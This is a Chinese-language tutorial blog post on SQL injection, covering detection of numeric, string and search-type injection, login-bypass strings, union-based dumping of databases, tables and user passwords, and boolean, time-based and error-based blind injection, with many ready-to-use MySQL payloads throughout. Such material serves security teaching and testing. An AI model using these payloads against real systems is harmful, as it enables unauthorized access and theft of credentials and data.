sql注入详解

Posted 红客突击队

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入详解相关的知识,希望对你有一定的参考价值。

sql注入详解




4、检测方法

首先是判断能不能进行sql注入
是哪种sql注入

(1)数字型

?id=1 and 1=1 返回成功?id=1 and 1=2 返回失败

这说明是数字型注入,或者叫整型注入
此时后台是

select * from <表名> where id = x and 1=1select * from <表名> where id = x and 1=2

显然一个判断为真,一个判断为假

(2)字符型

比如后台是

$sql="SELECT * FROM users WHERE id='1' LIMIT 0,1";

那类比整型注入

?id=1' and '1'='1 返回成功?id=1' and '1'='2 返回失败

还有更简单点的

?id=1' 报错?id=1' --+ 正常

当然这里除了'
还有可能是"、')、")等

(3)搜索型

  搜索',如果出错,说明90%存在这个漏洞

  搜索%,如果正常返回,说明95%有洞了

  搜索一个关键字,比如test,正常返回所有test相关的信息

  再搜索test%'and 1=1 and '%'='和test%'and 1=2 and '%'='

(4)万能密码

用户密码登录时
在用户或密码栏尝试如下

1' or '1'='1' or 1=1 or '' or 1=1 --1' or '1'='1' or '1'='1

类似这样的语句

(5)注意事项

  如果应用程序已经过滤了' 和 + 等特殊字符,可以在输入时把字符转换成URL编码(即字符ASCII码的16进制)来绕过检查

  不同sql服务器语法不同,如mysql用+连接字符串,Oracle使用||

5、基本流程

以字符型注入为例
整型类比着来就是了

现在假设我们通过测试
知道是单引号字符型注入

先用order by猜列数

?id=1' order by 3 --+ 正常?id=1' order by 4 --+ 报错

这就说明共3列

然后用union查询看哪个列会返显

?id=-1'union select 1,2,3--+

比如返回了数字2
说明第2列会返显

那就可以继续了
爆数据库

?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+

爆数据表

?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆列

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name=table_name--+

爆数据

?id=-1' union select 1,group_concat(username),group_concat(password) from users--+

这就是个最基本的sql注入流程

6、盲注

上面的基本流程是显错的
即报错会返显

但大部分时候是没有这么好的事儿的
需要利用一些方法进行判断或者尝试
这就是盲注了

主要有

  基于布尔sql盲注

  基于时间的sql盲注

  基于报错的sql盲注

布尔盲注和延时盲注最好用sqlmap或脚本
手工注入工作量太大了

(1)布尔盲注

布尔型注入中,正确会回显,错误没有回显
用以下的函数进行注入和猜测

  left(string, n)
  得到字符串左部指定个数的字符
  string为要截取的字符串,n为长度

admin' and left((要注入的语句),1)='xxx’#admin' and left((select database() limit 0,1),1)='s'#

substr(string, start, length)
截取字符串,mid()函数用法一样
string为要截取的字符串,start为开始位置,length为截取的长度

substr(DATABASE(),1,1)>'a' 查看数据库名第一位substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>'a'

ascii()
将某个字符转换为ASCII码的值,常配合截取函数使用

ascii(substr((语句),1,))=xxx //二进制admin' and ascii(substr((要注入的语句),0,1))=102#admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101#

ord()
同 ascii(),将字符转为 ascii 值

ord(mid((语句),1,1))=xxx // 十六进制admin' and ord(mid((select username from security.users limit 0,1),1,1))=68#admin' and ord(mid((select password from security.users limit 0,1),1,1))=68#

regexp
正则注入函数

xxxx regexp '\^us[a-z]'admin' and ((要注入的语句) regexp '\^se' limit 0,1)#admin' and (select database() regexp '\^se' limit 0,1)#

(2)延时盲注

时间延迟注入,正确会延迟,错误没有延迟
也是用以下函数进行注入和猜测

  sleep() 函数

?id=1' and sleep(5)--+?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)#?id=1' union select (if(substring(database(),1,1)=char(115),sleep(5),1)),2,3#?id=1' and if(ascii(substr((要执行的语句),1,1))=115,sleep(5),1)#?id=1' union select (if(substring((要执行的语句),1,1)=char(115),sleep(5),1)),2,3#

benchmark(count,expr)函数
count为次数,expr为要执行的表达式
可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功

?id=1' and (select 1 from (select concat((ascii(substr((要执行的语句),1,1))=115),benchmark(50000000,encode('msg','key')))x from information_schema.tables group by x)a)#?id=1' and if(ascii(substr((要执行的语句),1,1))=115,benchmark(50000000,encode('msg','key')),1)#?id=1' union select (if(substring((要执行的语句),1,1)=char(115),benchmark(50000000,encode('msg','key')),1)),2,3#?id=1' and (select 1 from (select concat((ascii(substr((database()),1,1))=115),benchmark(50000000,encode('msg','key')))x from information_schema.tables group by x)a)#?id=1' and (select 1 from (select concat((select username from security.users limit 0,1),benchmark(50000000,encode('msg','key')))x from information_schema.tables group by x)a)#?id=1' and if(ascii(substr(benchmark(50000000,encode('msg','key')),1,1))=115,sleep(5),1)#?id=1' union select (if(substring((select database() limit 0,1),1,1)=char(115),benchmark(50000000,encode('msg','key')),1)),2,3#

当结果正确的时候,运行encode(‘msg’,’key’)操作50000000 次,会占用一段时间

benchmark()函数,可以测试某些特定操作的执行速度
该函数只是简单地返回服务器执行表达式的时间,而不会涉及分析和优化的开销。

  还有一些奇技淫巧
  类似benchmark,边信道攻击,占用大量的运算和时间

(3)报错盲注

  利用 floor(rand(x)*2) 的执行bug进行报错注入
  取得 0 or 1,进行数据的重复
  concat 计数
  group by 进行分组
  需要将 rand(0),rand()需要多试几次

?id=1' union select 1,count(*),concat((你希望的查询语句),floor(rand(0)*2)) as a from information_schema.columns group by a#?id=1' and (select 1 from(select count(*),concat((你希望的查询语句),floor(rand(0)*2)) as x from information_schema.tables group by x)a)#?id=-1' union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

利用 extractvalue() 函数报错注入
mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误
有长度限制,最长32位,mysql 5.0不可用,mysql 5.6可用

?id=1' and extractvalue(1,concat(0x7e,(你希望的查询语句)))#?id=-1' and extractvalue(1,concat(0x7e,((select * from(select concat((你希望的查询语句))x from information_schema.tables group by x)a))))#?id=1' and extractvalue(1,concat(0x7e,(database())))#?id=1' and extractvalue(1,concat(0x7e,((select * from(select concat((select username from security.users limit 0,1))x from information_schema.tables group by x)a))))#

利用 updatexml() 函数报错注入
mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误
有长度限制,最长32位

?id=1' and updatexml(1,concat(0x7e,(你希望的查询语句),0x7e),1)#

利用 name_const 数据的重复性
低版本可用,mysql 5.0可用,mysql 5.6不可用
mysql 重复特性,报错

?id=1' union select 1,2,3 from (select name_const((你希望的查询语句),1),name_const((你希望的查询语句),1))x #?id=1' and exists(select * from (select * from(select name_const((你希望的查询语句),0))a join(select name_const((你希望的查询语句),0))b)c)#

利用 double 数值类型超出范围进行报错注入
Exp()为以 e 为底的对数函数
版本在 5.5.5 及其以上

?id=1' union select (exp(~(select * from(select user())a))),2,3#

下面为句式:

!(select*from(select user())x)-~0(select(!x-~0)from(select(select user())x)a)(select!x-~0.from(select(select user())x)a)select ~0+!(select*from(select user())x)

句式组合:

(select * from(select concat((你希望的查询语句))x from information_schema.tables group by x)a)

遇到无法使用 select * from * 查询的时候,可以使用这个万能句式,代替下面的“你希望的查询语句”

?id=1' and (select 1 from(select count(*),concat((你希望的查询语句),floor(rand(0)*2))x from information_schema.tables group by x)a)#?id=1' and extractvalue(1,concat(0x7e,(你希望的查询语句)))#?id=1' and updatexml(1,concat(0x7e,(你希望的查询语句),0x7e),1)#?id=1' and exists(select * from (select * from(select name_const((你希望的查询语句),0))a join(select name_const((你希望的查询语句),0))b)c)#?id=1' union select 1,2,3 from (select name_const((你希望的查询语句),1),name_const((你希望的查询语句),1))x #?id=1' union select (exp(~(select * from(select user())a))),2,3#


以上是关于sql注入详解的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入详解

SQL注入详解

sql注入详解

sql注入详解

SQL注入详解

SQL注入详解-转发